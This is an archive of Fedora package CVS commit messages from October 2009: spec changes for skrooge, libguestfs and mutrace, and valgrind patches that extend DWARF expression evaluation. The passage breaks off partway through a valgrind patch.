@@ -1 +1 @@
-kde4_create_handbook(index.docbook INSTALL_DESTINATION ${HTML_INSTALL_DIR}/en)
+kde4_create_handbook(index.docbook INSTALL_DESTINATION ${HTML_INSTALL_DIR}/en SUBDIR skrooge)


Index: skrooge.spec
===================================================================
RCS file: /cvs/pkgs/rpms/skrooge/devel/skrooge.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- skrooge.spec	8 Oct 2009 19:48:54 -0000	1.5
+++ skrooge.spec	14 Oct 2009 14:54:56 -0000	1.6
@@ -1,6 +1,6 @@
 Name:           skrooge
 Version:        0.5.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Personal finances manager
 
 Group:          Applications/Productivity
@@ -9,6 +9,8 @@ URL:            http://extragear.kde.org
 Source0:        http://websvn.kde.org/*checkout*/tags/skrooge/%{version}/skrooge-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+## upstream patches
+Patch100: skrooge-0.5.2-docs.patch
 
 BuildRequires:  qca2-devel
 BuildRequires:  libofx-devel
@@ -40,6 +42,8 @@ Skrooge libraries
 %prep
 %setup -q
 
+%patch100 -p1 -b .docs
+
 ## remove executable bits from skrooge-0.5.2/skrooge_search/skgalarmboardwidget.h
 chmod -x skrooge_search/skgalarmboardwidget.h
 
@@ -55,7 +59,7 @@ make %{?_smp_mflags} -C %{_target_platfo
 %install
 rm -rf %{buildroot}
 make install/fast -C %{_target_platform} DESTDIR=%{buildroot}
-%find_lang %{name}
+%find_lang %{name} --with-kde
 
 # hack to support non-oxygen icon users (gnome), drop when/if skrooge
 # ever provides hicolor icons (too).
@@ -73,11 +77,7 @@ rm -f %{buildroot}%{_kde4_libdir}/kde4/p
 rm -rf %{buildroot}
 
 %check
-for i in %{buildroot}%{_kde4_datadir}/kde4/services/*desktop ;  do 
-    desktop-file-validate $i ; 
-done
 desktop-file-validate %{buildroot}%{_kde4_datadir}/applications/kde4/skrooge.desktop
-desktop-file-validate %{buildroot}%{_kde4_datadir}/kde4/servicetypes/skrooge-plugin.desktop
 
 %post libs -p /sbin/ldconfig
 
@@ -106,29 +106,24 @@ update-mime-database %{_kde4_datadir}/mi
 %{_kde4_bindir}/skrooge
 %{_kde4_datadir}/applications/kde4/skrooge.desktop
 %{_kde4_datadir}/config.kcfg/*.kcfg
-%{_kde4_docdir}/HTML/en/doc/*
-%{_kde4_docdir}/HTML/sv/%{name}/*
-%{_kde4_docdir}/HTML/uk/%{name}/*
 %{_kde4_iconsdir}/hicolor/*/*/*
-%{_kde4_appsdir}/skrooge/css/skrooge_monthly-default.css
-%{_kde4_appsdir}/skrooge/images/*/*
-%{_kde4_appsdir}/skrooge/resources/*
-%{_kde4_appsdir}/skrooge/theme/default.css
-%{_kde4_appsdir}/skrooge_*/*
+%{_kde4_appsdir}/skrooge*/
 %{_kde4_datadir}/kde4/services/*.desktop
 %{_kde4_datadir}/kde4/servicetypes/skrooge-plugin.desktop
 %{_kde4_datadir}/mime/packages/x-skg.xml
-%{_kde4_appsdir}/skrooge/images/splash.png
-%{_kde4_appsdir}/skrooge/skrooge.notifyrc
-%{_kde4_appsdir}/skrooge/skrooge.rc
 
 %files libs
 %defattr(-,root,root,-)
-%{_kde4_libdir}/kde4/plugins/designer/*.so*
+%{_kde4_libdir}/kde4/plugins/designer/*.so.*
 %{_kde4_libdir}/kde4/*.so
-%{_kde4_libdir}/*.so*
+%{_kde4_libdir}/lib*.so.*
 
 %changelog
+* Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 0.5.2-2
+- (HTML) docs patch, use %%find_lang --with-kde
+- own %%{_kde4_appsdir}/skrooge*/ dirs
+- %check: omit extraneous desktop-file-validate's
+
 * Thu Oct 08 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.5.2-1
 - Changed to final 0.5.2 version
 - Bugfixes, including a nasty bug where one thinks the data is gone



From rjones at fedoraproject.org  Wed Oct 14 14:55:52 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Wed, 14 Oct 2009 14:55:52 +0000 (UTC)
Subject: rpms/libguestfs/EL-5 .cvsignore,1.32,1.33 sources,1.32,1.33
Message-ID: <20091014145552.92A3A11C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/libguestfs/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29040

Modified Files:
	.cvsignore sources 
Log Message:
Commit new sources.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/.cvsignore,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- .cvsignore	23 Sep 2009 13:39:12 -0000	1.32
+++ .cvsignore	14 Oct 2009 14:55:52 -0000	1.33
@@ -1 +1 @@
-libguestfs-1.0.72.tar.gz
+libguestfs-1.0.73.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/sources,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- sources	23 Sep 2009 13:39:12 -0000	1.32
+++ sources	14 Oct 2009 14:55:52 -0000	1.33
@@ -1 +1 @@
-d6c66e405e34c256c05860cb25801a0d  libguestfs-1.0.72.tar.gz
+749041818f250f50f4ed8afbfc0fc568  libguestfs-1.0.73.tar.gz



From lennart at fedoraproject.org  Wed Oct 14 14:56:44 2009
From: lennart at fedoraproject.org (Lennart Poettering)
Date: Wed, 14 Oct 2009 14:56:44 +0000 (UTC)
Subject: rpms/mutrace/F-12 import.log, NONE, 1.1 mutrace.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091014145644.8B24211C00E5@cvs1.fedora.phx.redhat.com>

Author: lennart

Update of /cvs/pkgs/rpms/mutrace/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29477/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log mutrace.spec 
Log Message:
Initial import



--- NEW FILE import.log ---
mutrace-0_2-1_fc12:F-12:mutrace-0.2-1.fc12.src.rpm:1255532167


--- NEW FILE mutrace.spec ---
Name:		mutrace
Version:	0.2
Release:	1%{?dist}
Summary:	Mutex Tracer
Group:		Development/Debuggers
License:	LGPLv3+ and GPLv2+
URL:		http://git.0pointer.de/?p=mutrace.git
Source0:	http://0pointer.de/public/%{name}-%{version}.tar.gz
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
Requires:	/usr/bin/getopt
BuildRequires:	binutils-devel

%description
mutrace is a mutex profiler. It may be used to track down contended mutexes in
multi-threaded applications.

%post -p /sbin/ldconfig
%postun -p /sbin/ldconfig

%prep
%setup -q

%build
%configure
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc README LGPL3 GPL2 GPL3
%{_bindir}/mutrace
%{_bindir}/matrace
%{_libdir}/libmutrace.so
%{_libdir}/libmatrace.so
%{_libdir}/libmutrace-backtrace-symbols.so

%changelog
* Wed Oct 7 2009 Lennart Poettering <lpoetter at redhat.com> 0.2-1
- Do fixes recommended in review

* Tue Oct 6 2009 Lennart Poettering <lpoetter at redhat.com> 0.1-3
- Do fixes recommended in review

* Fri Sep 18 2009 Lennart Poettering <lpoetter at redhat.com> 0.1-2
- Do fixes recommended in review

* Wed Sep 16 2009 Lennart Poettering <lpoetter at redhat.com> 0.1-1
- Initial release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mutrace/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:25:41 -0000	1.1
+++ .cvsignore	14 Oct 2009 14:56:44 -0000	1.2
@@ -0,0 +1 @@
+mutrace-0.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mutrace/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:25:41 -0000	1.1
+++ sources	14 Oct 2009 14:56:44 -0000	1.2
@@ -0,0 +1 @@
+93e6d522b615903ca3f89881efe8edfb  mutrace-0.2.tar.gz



From jakub at fedoraproject.org  Wed Oct 14 15:03:39 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Wed, 14 Oct 2009 15:03:39 +0000 (UTC)
Subject: rpms/valgrind/F-12 valgrind-3.5.0-dwarf3.patch, NONE,
	1.1 valgrind-3.5.0-pr40659.patch, NONE,
	1.1 valgrind-3.5.0-ifunc.patch, 1.1, 1.2 valgrind.spec, 1.68, 1.69
Message-ID: <20091014150339.A37EC11C00E5@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/valgrind/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30638

Modified Files:
	valgrind-3.5.0-ifunc.patch valgrind.spec 
Added Files:
	valgrind-3.5.0-dwarf3.patch valgrind-3.5.0-pr40659.patch 
Log Message:
3.5.0-3

valgrind-3.5.0-dwarf3.patch:
 d3basics.c      |  320 ++++++++++++++++++++++++++++++++++++++++++++++++++++++--
 debuginfo.c     |   66 ++++++++++-
 priv_d3basics.h |   10 +
 tytypes.c       |    2 
 4 files changed, 385 insertions(+), 13 deletions(-)

--- NEW FILE valgrind-3.5.0-dwarf3.patch ---
--- valgrind/coregrind/m_debuginfo/priv_d3basics.h.jj	2009-10-09 12:52:05.000000000 +0200
+++ valgrind/coregrind/m_debuginfo/priv_d3basics.h	2009-10-13 14:55:12.000000000 +0200
@@ -522,6 +522,9 @@ typedef enum
     DW_OP_form_tls_address = 0x9b,
     DW_OP_call_frame_cfa = 0x9c,
     DW_OP_bit_piece = 0x9d,
+    /* DWARF 4 extensions.  */
+    DW_OP_implicit_value = 0x9e,
+    DW_OP_stack_value = 0x9f,
     /* GNU extensions.  */
     DW_OP_GNU_push_tls_address = 0xe0,
     /* HP extensions.  */
@@ -596,12 +599,13 @@ typedef
 
 /* This describes the result of evaluating a DWARF3 expression.
    GXR_Failure: failed; .word is an asciiz string summarising why
+   GXR_Addr:    evaluated to an address of the object, in .word
    GXR_Value:   evaluated to a value, in .word
    GXR_RegNo:   evaluated to a DWARF3 register number, in .word
 */
 typedef
    struct { 
-      enum { GXR_Failure, GXR_Value, GXR_RegNo } kind;
+      enum { GXR_Failure, GXR_Addr, GXR_Value, GXR_RegNo } kind;
       UWord word;
    }
    GXResult;
@@ -644,6 +648,10 @@ GXResult ML_(evaluate_Dwarf3_Expr) ( UCh
    covered by the guard is also ignored. */
 GXResult ML_(evaluate_trivial_GX)( GExpr* gx, const DebugInfo* di );
 
+/* Compute CFA for IP/SP/FP.  */
+Addr ML_(get_CFA) (Addr ip, Addr sp, Addr fp,
+                   Addr min_accessible, Addr max_accessible);
+
 #endif /* ndef __PRIV_D3BASICS_H */
 
 /*--------------------------------------------------------------------*/
--- valgrind/coregrind/m_debuginfo/d3basics.c.jj	2009-10-09 12:52:05.000000000 +0200
+++ valgrind/coregrind/m_debuginfo/d3basics.c	2009-10-13 14:54:40.000000000 +0200
@@ -443,7 +443,7 @@ static Bool bias_address( Addr* a, const
 
 
 /* Evaluate a standard DWARF3 expression.  See detailed description in
-   priv_d3basics.h. */
+   priv_d3basics.h.  Doesn't handle DW_OP_piece/DW_OP_bit_piece yet.  */
 GXResult ML_(evaluate_Dwarf3_Expr) ( UChar* expr, UWord exprszB, 
                                      GExpr* fbGX, RegSummary* regs,
                                      const DebugInfo* di,
@@ -482,8 +482,8 @@ GXResult ML_(evaluate_Dwarf3_Expr) ( UCh
    Addr     stack[N_EXPR_STACK]; /* stack of addresses, as per D3 spec */
    GXResult fbval, res;
    Addr     a1;
-   Word     sw1;
-   UWord    uw1;
+   Word     sw1, sw2;
+   UWord    uw1, uw2;
    Bool     ok;
 
    sp = -1;
@@ -568,12 +568,15 @@ GXResult ML_(evaluate_Dwarf3_Expr) ( UCh
             switch (fbval.kind) {
                case GXR_Failure:
                   return fbval; /* propagate failure */
-               case GXR_Value:
+               case GXR_Addr:
                   a1 = fbval.word; break; /* use as-is */
                case GXR_RegNo:
                   ok = get_Dwarf_Reg( &a1, fbval.word, regs );
                   if (!ok) return fbval; /* propagate failure */
                   break;
+               case GXR_Value:
+                  FAIL("evaluate_Dwarf3_Expr: DW_OP_{implicit,stack}_value "
+                       "in DW_AT_frame_base");
                default:
                   vg_assert(0);
             }
@@ -599,11 +602,23 @@ GXResult ML_(evaluate_Dwarf3_Expr) ( UCh
             a1 += sw1;
             PUSH( a1 );
             break;
+         case DW_OP_bregx:
+            if (!regs)
+               FAIL("evaluate_Dwarf3_Expr: DW_OP_breg* but no reg info");
+            a1 = 0;
+            uw1 = (UWord)read_leb128U( &expr );
+            if (!get_Dwarf_Reg( &a1, uw1, regs ))
+               FAIL("evaluate_Dwarf3_Expr: unhandled DW_OP_bregx reg value");
+            sw1 = (Word)read_leb128S( &expr );
+            a1 += sw1;
+            PUSH( a1 );
+            break;
          /* As per comment on DW_OP_breg*, the following denote that
             the value in question is in a register, not in memory.  So
             we simply return failure. (iow, the expression is
             malformed). */
          case DW_OP_reg0 ... DW_OP_reg31:
+         case DW_OP_regx:
             FAIL("evaluate_Dwarf3_Expr: DW_OP_reg* "
                  "whilst evaluating for a value");
             break;
@@ -637,6 +652,297 @@ GXResult ML_(evaluate_Dwarf3_Expr) ( UCh
                     "address not valid for client");
             }
             break;
+         case DW_OP_deref_size:
+            POP(uw1);
+            uw2 = *expr++;
+            if (VG_(am_is_valid_for_client)( (Addr)uw1, uw2,
+                                             VKI_PROT_READ )) {
+               switch (uw2) {
+                 case 1: uw1 = *(UChar*)uw1; break;
+                 case 2: uw1 = *(UShort*)uw1; break;
+                 case 4: uw1 = *(UInt*)uw1; break;
+                 case 8: uw1 = *(ULong*)uw1; break;
+                 default:
+                    FAIL("warning: evaluate_Dwarf3_Expr: unhandled "
+                         "DW_OP_deref_size size");
+               }
+               PUSH(uw1);
+            } else {
+               FAIL("warning: evaluate_Dwarf3_Expr: DW_OP_deref_size: "
+                    "address not valid for client");
+            }
+            break;
+         case DW_OP_lit0 ... DW_OP_lit31:
+            PUSH(opcode - DW_OP_lit0);
+            break;
+         case DW_OP_const1u:
+	    uw1 = *expr++;
+	    PUSH(uw1);
+            break;
+         case DW_OP_const2u:
+	    uw1 = *(UShort *)expr;
+	    expr += 2;
+	    PUSH(uw1);
+	    break;
+         case DW_OP_const4u:
+	    uw1 = *(UInt *)expr;
+	    expr += 4;
+	    PUSH(uw1);
+	    break;
+         case DW_OP_const8u:
+	    uw1 = *(ULong *)expr;
+	    expr += 8;
+	    PUSH(uw1);
+	    break;
+         case DW_OP_constu:
+            uw1 = read_leb128U( &expr );
+            PUSH(uw1);
+            break;
+         case DW_OP_const1s:
+	    uw1 = *(Char *) expr;
+	    expr++;
+	    PUSH(uw1);
+            break;
+         case DW_OP_const2s:
+	    uw1 = *(Short *)expr;
+	    expr += 2;
+	    PUSH(uw1);
+	    break;
+         case DW_OP_const4s:
+	    uw1 = *(Int *)expr;
+	    expr += 4;
+	    PUSH(uw1);
+	    break;
+         case DW_OP_const8s:
+	    uw1 = *(Long *)expr;
+	    expr += 8;
+	    PUSH(uw1);
+	    break;
+         case DW_OP_consts:
+            uw1 = read_leb128S( &expr );
+            PUSH(uw1);
+            break;
+         case DW_OP_dup:
+	    POP(uw1);
+	    PUSH(uw1);
+	    PUSH(uw1);
+	    break;
+	 case DW_OP_drop:
+	    POP(uw1);
+	    break;
+         case DW_OP_over:
+            uw1 = 1;
+            goto do_pick;
+	 case DW_OP_pick:
+	    uw1 = *expr++;
+         do_pick:
+            if (sp < (Int) uw1)
+               FAIL("evaluate_Dwarf3_Expr: stack underflow");
+            uw1 = stack[sp - uw1];
+            PUSH(uw1);
+            break;
+         case DW_OP_swap:
+            if (sp < 1)
+               FAIL("evaluate_Dwarf3_Expr: stack underflow");
+            uw1 = stack[sp];
+            stack[sp] = stack[sp - 1];
+            stack[sp - 1] = uw1;
+            break;
+         case DW_OP_rot:
+            if (sp < 2)
+               FAIL("evaluate_Dwarf3_Expr: stack underflow");
+            uw1 = stack[sp];
+            stack[sp] = stack[sp - 1];
+            stack[sp - 1] = stack[sp - 2];
+            stack[sp - 2] = uw1;
+            break;
+         case DW_OP_abs:
+            POP(sw1);
+            if (sw1 < 0)
+               sw1 = -sw1;
+            PUSH(sw1);
+            break;
+         case DW_OP_and:
+            POP(uw2);
+            POP(uw1);
+            uw1 &= uw2;
+            PUSH(uw1);
+            break;
+         case DW_OP_div:
+            POP(sw2);
+            if (sw2 == 0)
+               FAIL("evaluate_Dwarf3_Expr: division by zero");
+            POP(sw1);
+            sw1 /= sw2;
+            PUSH(sw1);
+            break;
+         case DW_OP_minus:
+            POP(uw2);
+            POP(uw1);
+            uw1 -= uw2;
+            PUSH(uw1);
+            break;
+         case DW_OP_mod:
+            POP(sw2);
+            if (sw2 == 0)
+               FAIL("evaluate_Dwarf3_Expr: division by zero");
+            POP(sw1);
+            sw1 %= sw2;
+            PUSH(sw1);
+            break;
+         case DW_OP_mul:
+            POP(uw2);
+            POP(uw1);
+            uw1 *= uw2;
+            PUSH(uw1);
+            break;
+         case DW_OP_neg:
+            POP(uw1);
+            uw1 = -uw1;
+            PUSH(uw1);
+            break;
+         case DW_OP_not:
+            POP(uw1);
+            uw1 = ~uw1;
+            PUSH(uw1);
+            break;
+         case DW_OP_or:
+            POP(uw2);
+            POP(uw1);
+            uw1 |= uw2;
+            PUSH(uw1);
+            break;
+         case DW_OP_plus:
+            POP(uw2);
+            POP(uw1);
+            uw1 += uw2;
+            PUSH(uw1);
+            break;
+         case DW_OP_shl:
+            POP(uw2);
+            POP(uw1);
+            uw1 <<= uw2;
+            PUSH(uw1);
+            break;
+         case DW_OP_shr:
+            POP(uw2);
+            POP(uw1);
+            uw1 >>= uw2;
+            PUSH(uw1);
+            break;
+         case DW_OP_shra:
+            POP(uw2);
+            POP(sw1);
+            sw1 >>= uw2;
+            PUSH(sw1);
+            break;
+         case DW_OP_xor:
+            POP(uw2);
+            POP(uw1);
+            uw1 ^= uw2;
+            PUSH(uw1);
+            break;
+         case DW_OP_le:
+            POP(sw2);
+            POP(sw1);
+            sw1 = sw1 <= sw2;
+            PUSH(sw1);
+            break;
+         case DW_OP_lt:
+            POP(sw2);
+            POP(sw1);
+            sw1 = sw1 < sw2;
+            PUSH(sw1);
+            break;
+         case DW_OP_ge:
+            POP(sw2);
+            POP(sw1);
+            sw1 = sw1 >= sw2;
+            PUSH(sw1);
+            break;
+         case DW_OP_gt:
+            POP(sw2);
+            POP(sw1);
+            sw1 = sw1 > sw2;
+            PUSH(sw1);
+            break;
+         case DW_OP_ne:
+            POP(sw2);
+            POP(sw1);
+            sw1 = sw1 != sw2;
+            PUSH(sw1);
+            break;
+         case DW_OP_eq:
+            POP(sw2);
+            POP(sw1);
+            sw1 = sw1 == sw2;
+            PUSH(sw1);
+            break;
+         case DW_OP_skip:
+            sw1 = *(Short *)expr;
+            expr += 2;
+            if (sw1 < 0 && expr < limit - exprszB - sw1)
+               FAIL("evaluate_Dwarf3_Expr: DW_OP_skip before start of expr");
+            expr += sw1;
+            break;
+         case DW_OP_bra:
+            sw1 = *(Short *)expr;
+            expr += 2;
+            if (sw1 < 0 && expr < limit - exprszB - sw1)
+               FAIL("evaluate_Dwarf3_Expr: DW_OP_bra before start of expr");
+            POP(uw1);
+            if (uw1)
+               expr += sw1;
+            break;
+         case DW_OP_nop:
+            break;
+         case DW_OP_call_frame_cfa:
+            if (!regs)
+               FAIL("evaluate_Dwarf3_Expr: DW_OP_call_frame_cfa but no reg info");
+            uw1 = ML_(get_CFA)(regs->ip, regs->sp, regs->fp, 0, ~(UWord) 0);
+            if (!uw1)
+               FAIL("evaluate_Dwarf3_Expr: Could not resolve "
+                    "DW_OP_call_frame_cfa");
+            PUSH(uw1);
+            break;
+         case DW_OP_implicit_value:
+            sw1 = (Word)read_leb128S( &expr );
+            uw1 = 0;
+            switch (sw1) {
+               case 1:
+                  uw1 = *(UChar *) expr;
+                  expr += 1;
+                  break;
+               case 2:
+                  uw1 = *(UShort *) expr;
+                  expr += 2;
+                  break;
+               case 4:
+                  uw1 = *(UInt *) expr;
+                  expr += 4;
+                  break;
+               case 8:
+                  uw1 = *(ULong *) expr;
+                  expr += 8;
+                  break;
+               default:
+                  FAIL("evaluate_Dwarf3_Expr: Unhandled "
+                       "DW_OP_implicit_value size");
+            }
+            if (expr != limit)
+               FAIL("evaluate_Dwarf3_Expr: DW_OP_implicit_value "
+                    "does not terminate expression");
+            res.word = uw1;
+            res.kind = GXR_Value;
+            return res;
+         case DW_OP_stack_value:
+            POP (uw1);
+            res.word = uw1;
+            res.kind = GXR_Value;
+            if (expr != limit)
+               FAIL("evaluate_Dwarf3_Expr: DW_OP_stack_value "
+                    "does not terminate expression");
+            break;
          default:
             if (!VG_(clo_xml))
                VG_(message)(Vg_DebugMsg, 
@@ -650,7 +956,7 @@ GXResult ML_(evaluate_Dwarf3_Expr) ( UCh
 
    vg_assert(sp >= 0 && sp < N_EXPR_STACK);
    res.word = stack[sp];
-   res.kind = GXR_Value;
+   res.kind = GXR_Addr;
    return res;
  
 #  undef POP
@@ -884,7 +1190,7 @@ GXResult ML_(evaluate_trivial_GX)( GExpr
 
    /* Well, we have success.  All subexpressions evaluated, and 
       they all agree.  Hurrah. */
-   res.kind = GXR_Value;
+   res.kind = GXR_Addr;
    res.word = (UWord)mul->ul; /* NB: narrowing from ULong */
    VG_(deleteXA)( results );
    return res;
@@ -896,6 +1202,8 @@ void ML_(pp_GXResult) ( GXResult res )
    switch (res.kind) {
       case GXR_Failure:
          VG_(printf)("GXR_Failure(%s)", (HChar*)res.word); break;
+      case GXR_Addr:
+         VG_(printf)("GXR_Addr(0x%lx)", res.word); break;
       case GXR_Value:
          VG_(printf)("GXR_Value(0x%lx)", res.word); break;
       case GXR_RegNo:
--- valgrind/coregrind/m_debuginfo/debuginfo.c.jj	2009-10-09 12:52:05.000000000 +0200
+++ valgrind/coregrind/m_debuginfo/debuginfo.c	2009-10-13 14:55:45.000000000 +0200
@@ -2003,6 +2003,62 @@ static void cfsi_cache__invalidate ( voi
 }
 
 
+Addr ML_(get_CFA) (Addr ip, Addr sp, Addr fp,
+                   Addr min_accessible, Addr max_accessible )
+{
+   Bool       ok;
+   DebugInfo* di;
+   DiCfSI*    cfsi = NULL;
+   Addr       cfa;
+   CfiExprEvalContext eec;
+   UWord hash = ip % N_CFSI_CACHE;
+   CFSICacheEnt* ce = &cfsi_cache[hash];
+
+   if (LIKELY(ce->ip == ip) && LIKELY(ce->di != NULL)) {
+      /* found an entry in the cache .. */
+   } else {
+      /* not found in cache.  Search and update. */
+      ce->ip = ip;
+      find_DiCfSI( &ce->di, &ce->ix, ip );
+   }
+
+   if (UNLIKELY(ce->di == (DebugInfo*)1)) {
+      /* no DiCfSI for this address */
+      return 0;
+   } else {
+      /* found a DiCfSI for this address */
+      di = ce->di;
+      cfsi = &di->cfsi[ ce->ix ];
+   }
+
+   if (UNLIKELY(cfsi == NULL))
+      return 0; /* no info.  Nothing we can do. */
+
+   /* Compute the CFA. */
+   cfa = 0;
+   switch (cfsi->cfa_how) {
+      case CFIC_SPREL: 
+         cfa = cfsi->cfa_off + sp;
+         break;
+      case CFIC_FPREL: 
+         cfa = cfsi->cfa_off + fp;
+         break;
+      case CFIC_EXPR: 
+         eec.ipHere = ip;
+         eec.spHere = sp;
+         eec.fpHere = fp;
+         eec.min_accessible = min_accessible;
+         eec.max_accessible = max_accessible;
+         ok = True;
+         cfa = evalCfiExpr(di->cfsi_exprs, cfsi->cfa_off, &eec, &ok );
+         if (!ok) return 0;
+         break;
+      default: 
+         vg_assert(0);
+   }
+   return cfa;
+}
+
 /* The main function for DWARF2/3 CFI-based stack unwinding.
    Given an IP/SP/FP triple, produce the IP/SP/FP values for the
    previous frame, if possible. */
@@ -2346,7 +2402,7 @@ static Bool data_address_is_in_var ( /*O
       VG_(printf)("\n");
    }
 
-   if (res.kind == GXR_Value 
+   if (res.kind == GXR_Addr 
        && res.word <= data_addr
        && data_addr < res.word + var_szB) {
       *offset = data_addr - res.word;
@@ -3057,7 +3113,7 @@ void analyse_deps ( /*MOD*/XArray* /* of
    vg_assert(res_sp_6k.kind == res_fp_6k.kind);
    vg_assert(res_sp_6k.kind == res_fp_7k.kind);
 
-   if (res_sp_6k.kind == GXR_Value) {
+   if (res_sp_6k.kind == GXR_Addr) {
       StackBlock block;
       GXResult res;
       UWord sp_delta = res_sp_7k.word - res_sp_6k.word;
@@ -3074,7 +3130,7 @@ void analyse_deps ( /*MOD*/XArray* /* of
          regs.sp = regs.fp = 0;
          regs.ip = ip;
          res = ML_(evaluate_GX)( var->gexpr, var->fbGX, &regs, di );
-         tl_assert(res.kind == GXR_Value);
+         tl_assert(res.kind == GXR_Addr);
          if (debug)
          VG_(printf)("   %5ld .. %5ld (sp) %s\n",
                      res.word, res.word + ((UWord)mul.ul) - 1, var->name);
@@ -3093,7 +3149,7 @@ void analyse_deps ( /*MOD*/XArray* /* of
          regs.sp = regs.fp = 0;
          regs.ip = ip;
          res = ML_(evaluate_GX)( var->gexpr, var->fbGX, &regs, di );
-         tl_assert(res.kind == GXR_Value);
+         tl_assert(res.kind == GXR_Addr);
          if (debug)
          VG_(printf)("   %5ld .. %5ld (FP) %s\n",
                      res.word, res.word + ((UWord)mul.ul) - 1, var->name);
@@ -3308,7 +3364,7 @@ void* /* really, XArray* of GlobalBlock 
             res = ML_(evaluate_trivial_GX)( var->gexpr, di );
 
             /* Not a constant address => not interesting */
-            if (res.kind != GXR_Value) {
+            if (res.kind != GXR_Addr) {
                if (0) VG_(printf)("FAIL\n");
                continue;
             }
--- valgrind/coregrind/m_debuginfo/tytypes.c.jj	2009-10-09 12:52:05.000000000 +0200
+++ valgrind/coregrind/m_debuginfo/tytypes.c	2009-10-13 13:52:57.000000000 +0200
@@ -766,7 +766,7 @@ XArray* /*UChar*/ ML_(describe_type)( /*
                   ML_(pp_GXResult)(res);
                   VG_(printf)("\n");
                }
-               if (res.kind != GXR_Value)
+               if (res.kind != GXR_Addr)
                   continue;
                mul = ML_(sizeOfType)( tyents, field->Te.Field.typeR );
                if (mul.b != True)

valgrind-3.5.0-pr40659.patch:
 priv_tytypes.h |    9 ++++++--
 readdwarf3.c   |   24 ++++++++++++++--------
 tytypes.c      |   62 ++++++++++++++++++++++++++++++++++-----------------------
 3 files changed, 61 insertions(+), 34 deletions(-)

--- NEW FILE valgrind-3.5.0-pr40659.patch ---
--- valgrind/coregrind/m_debuginfo/tytypes.c.jj	2009-10-14 15:00:07.000000000 +0200
+++ valgrind/coregrind/m_debuginfo/tytypes.c	2009-10-14 16:28:39.000000000 +0200
@@ -98,10 +98,15 @@ void ML_(pp_TyEnt)( TyEnt* te )
                      te->Te.Atom.value, te->Te.Atom.name);
          break;
       case Te_Field:
-         VG_(printf)("Te_Field(ty=0x%05lx,nLoc=%lu,loc=%p,\"%s\")",
-                     te->Te.Field.typeR, te->Te.Field.nLoc,
-                     te->Te.Field.loc,
-                     te->Te.Field.name ? te->Te.Field.name : (UChar*)"");
+         if (te->Te.Field.nLoc == -1)
+            VG_(printf)("Te_Field(ty=0x%05lx,pos.offset=%ld,\"%s\")",
+                        te->Te.Field.typeR, te->Te.Field.pos.offset,
+                        te->Te.Field.name ? te->Te.Field.name : (UChar*)"");
+         else
+            VG_(printf)("Te_Field(ty=0x%05lx,nLoc=%lu,pos.loc=%p,\"%s\")",
+                        te->Te.Field.typeR, te->Te.Field.nLoc,
+                        te->Te.Field.pos.loc,
+                        te->Te.Field.name ? te->Te.Field.name : (UChar*)"");
          break;
       case Te_Bound:
          VG_(printf)("Te_Bound[");
@@ -476,7 +481,9 @@ Word ML_(TyEnt__cmp_by_all_except_cuOff)
       if (r != 0) return r;
       r = UWord__cmp(te1->Te.Field.nLoc, te2->Te.Field.nLoc);
       if (r != 0) return r;
-      r = Bytevector__cmp(te1->Te.Field.loc, te2->Te.Field.loc,
+      if (te1->Te.Field.nLoc == -1)
+         return Long__cmp(te1->Te.Field.pos.offset, te2->Te.Field.pos.offset);
+      r = Bytevector__cmp(te1->Te.Field.pos.loc, te2->Te.Field.pos.loc,
                           te1->Te.Field.nLoc);
       return r;
    case Te_Bound:
@@ -568,7 +575,8 @@ void ML_(TyEnt__make_EMPTY) ( TyEnt* te 
          break;
       case Te_Field:
          if (te->Te.Field.name) ML_(dinfo_free)(te->Te.Field.name);
-         if (te->Te.Field.loc) ML_(dinfo_free)(te->Te.Field.loc);
+         if (te->Te.Field.nLoc > 0 && te->Te.Field.pos.loc)
+            ML_(dinfo_free)(te->Te.Field.pos.loc);
          break;
       case Te_Bound:
          break;
@@ -747,24 +755,30 @@ XArray* /*UChar*/ ML_(describe_type)( /*
                field = ML_(TyEnts__index_by_cuOff)(tyents, NULL, fieldR);
                vg_assert(field);
                vg_assert(field->tag == Te_Field);
-               vg_assert(field->Te.Field.loc);
-               vg_assert(field->Te.Field.nLoc > 0);
-               /* Re data_bias in this call, we should really send in
-                  a legitimate value.  But the expression is expected
-                  to be a constant expression, evaluation of which
-                  will not need to use DW_OP_addr and hence we can
-                  avoid the trouble of plumbing the data bias through
-                  to this point (if, indeed, it has any meaning; from
-                  which DebugInfo would we take the data bias? */
-               res = ML_(evaluate_Dwarf3_Expr)(
-                       field->Te.Field.loc, field->Te.Field.nLoc,
